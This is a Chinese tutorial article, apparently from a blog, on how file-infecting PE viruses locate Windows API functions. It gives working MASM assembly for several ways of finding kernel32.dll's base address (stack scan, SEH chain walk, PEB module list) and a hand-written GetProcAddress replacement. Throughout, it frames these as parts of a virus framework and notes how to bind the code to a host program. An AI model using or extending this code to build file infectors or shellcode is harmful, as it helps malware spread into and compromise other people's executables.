由于大部分的文件感染型病毒框架都不可以像“前置病毒”那样拥有自己的输入表,因此需要自行定位API
说一千道一万,想要定位API,大方向是要定位Kernel32.dll的基地址。
总结所以这些方法,可以分为是五个小方向,它们又产生很多变种。
一、定位kernel32.dll基地址的方法
(1)硬编码方式
由于kernel32.dll的基地址在相同版本windows下,基本上它的位置是固定的。这种方法在早期的PE病毒中很常见,现在已经很少使用了。
(2)利用程序初始化时,首先寄存器或堆栈中保留的kernel32.dll内存模块中的某个地址,之后无论哪种变体,都是以这个kernel内的地址向前搜索,找到kernel.dll的基地址。
以下地方就存储着这些地址:
①寄存器EDI
②刚刚初始化的堆栈:[esp]、[esp+4H]、[esp+10H]
以[esp+10h]为例,我们看一下参考代码(另外注释里有一些常见错误代码的写法):
Start:
mov edx,[esp+10h]
SearchDosHeader:
dec edx
xor dx,dx ;加速搜索,因为DLL以1M长度对齐,所以这里以64K字节为跨度来加速搜索
cmp word ptr[edx],'ZM' ;不要自作聪明写成'MZ',那是以字节逐个读取的结果
;,这里是以双字节读取的,'Z'在高位,'M'在低位,因此写为'ZM'
jnz SearchDosHeader
IsNTHeaders:
mov eax,[edx+3ch] ;这里也不要写为[edx+IMAGE_NT_HEADERS32.Signatrue],这样不会得到想要的结果
cmp word ptr [eax+edx],'EP' ;和'ZM'是一个道理
jnz SearchDosHeader
mov KernelImageBase,edx ;KernelImageBase是自定义局部变量,可以放在堆栈里
ret
end Start
(3)遍历seh异常链,然后获得EXCEPTION_REGISTRATION结构prev为-1的异常处理过程地址,这个异常处理过程地址是位于kernel32.dll中,通过它向前搜索得到kernel32.dll的基地址。
以下是参考代码:
Start:
assume fs:nothing ;Masm默认是不使用fs寄存器的,写上这句话才能使用
mov edx,[fs:0] ;获得EXCEPTION_REGISTRATION 结构地址
Next:
inc dword ptr [edx];将prev 成员 + 1,判断是否为零,然后恢复
jz Kml
dec dword ptr [edx]
mov edx,[edx]
jmp Next
Kml:
dec dword ptr [edx];恢复 -1
mov edx,[edx+4]
SearchDosHeader:
dec edx
xor dx,dx
cmp word ptr[edx],'ZM'
jnz SearchDosHeader
IsNTHeaders:
mov eax,[edx+3ch]
cmp word ptr [eax+edx],'EP'
jnz SearchDosHeader
mov KernelImageBase,edx
ret
end Start
(4)通过TEB获得PEB结构地址,然后再获得PEB_LDR_DATA 结构地址,然后遍历模块列表,查找kernel32.dll 模块的基地址。
Start:
assume fs:nothing
mov edx, [fs:30h] ;Get Peb
mov edx, [edx+0ch] ;Get _PEB_LDR_DATA
mov edx, [edx+1ch] ;Get InInitializationOrderModuleList.Flink, 此时eax 指向的是ntdll 模块的
;InInitializationOrderModuleList 线性地址。所以我们获得它的下一个则是kernel32.dll
mov edx, [edx]
mov edx, [edx+8] ; 8 = sizeof.LIST_ENTRY
mov KernelImageBase,edx
ret
end Start
(5)一个正常的程序的输入表都会加载Kernel32.dll,所以通过搜索宿主本身的输入表,再找到Kernel32.dll,然后搜索它基地址。但是这个方法缺点首先是代码长度比较长,并且病毒首次编译后,其本身输入表不加载Kernel32.dll,需要手工抽取代码,然后绑定到宿主程序上,这样病毒才算真正完成。
步骤:
1.找到本程序的PE头文件,方法有三种:①利用默认文件内存加载点400000h
②利用进程初始化堆栈的[esp+34h]保存的程序入口点,向前找到问PE文件头
③重定位当前点,向前搜索
2.再找到输入表、进而找到Kernel32.dll,代码就不写了,一点也不难
3.手工绑定,具体步骤请参考《Windows应用程序捆绑核心编程》(张正秋著)第一版的第11章。
二、通过自己实现的GetProcAddress定位API
在Kernel32.dll中有GetProcAddress这个函数,它可以通过函数名定位函数入口地址。可是由于不知道GetProcAddress的地址,只好由我们自己实现,以下代码可供参考,如果对PE结构了解十分清楚,那么代码是很容易读懂的。
My_Get_API_Address proc Base:dword,sFunctionName:dword
LOCAL NumberOfName:dword
LOCAL AddressOfFunctions:dword
LOCAL AddressOfNames:dword
LOCAL AddressOfOrdinarls:dword
;定位输出表
mov ebx,Base
mov eax,[ebx+3ch]
mov eax,[ebx+eax+78h]
add eax,ebx
;取出输出表中一些有用的值
mov ebx,[eax+18h]
mov NumberOfName,ebx
mov ebx,[eax+1ch]
add ebx,Base
mov AddressOfFunctions,ebx
mov ebx,[eax+20h]
add ebx,Base
mov AddressOfNames,ebx
mov ebx,[eax+24h]
add ebx,Base
mov AddressOfOrdinarls,ebx
;根据函数名找出函数ID
xor eax,eax
mov edi,AddressOfNames
mov ecx,NumberOfName
LoopNumberOfName:
mov esi,sFunctionName
push eax
mov ebx,[edi]
add ebx,Base
Match_API:
mov al,byte ptr[ebx]
cmp al,[esi]
jnz Not_Match
or al,0h
jz GetKernel_API_Index_Found
inc ebx
inc esi
jmp Match_API
Not_Match:
pop eax
inc eax
add edi,4h
loop LoopNumberOfName
GetKernel_API_Index_Found:
pop eax
;用函数ID找出函数入口地址
Get_API_Address:
mov ebx,AddressOfOrdinarls
movzx eax,word ptr[ebx+eax*2]
imul eax,4h
add eax,AddressOfFunctions
mov eax,[eax]
add eax,Base
ret
My_Get_API_Address endp
OK,既然已经有了自己编写的GetProcAddress,那么我们就可以通过它定位Kernel32.DLL里的正牌GetProcAddress和LoadLibraryA。
不过小陈告诉另一个方法,GetProcAddress和LoadLibraryA都可以不必定位,其中GetProcAddress可以使用自己编写了,自然可以不必定位。至于LoadLibrary返回的动态链接库DLL模块句柄,实际上就是动态链接库的基地址,虽然由于我们现在只有Kernel32.dll的基地址,如果想定位其他动态链接库,只有搜索宿主文件是否加载了相应的动态链接库,如果没有,也可修改它的PE文件头,让它在启动时加载该动态链接库,然后仿照搜索Kernel32.dll类似的方法,确定其入口地址,即模块句柄。
终于完成这章了,好幸福!关于动态重定位API方法肯定不止这些方法,比如“三、通过API的名称来定位API的地址”这个标题下应该不止一种方法,学海无涯啊。再次欢迎有好方法的高手,不吝赐教,帮助我不断更新这篇文章。
这里感谢pencil 和小陈,pencil提醒了我应该仿写GetProcAddress,小陈告诉了我,替代LoadLibraryA的实现方法。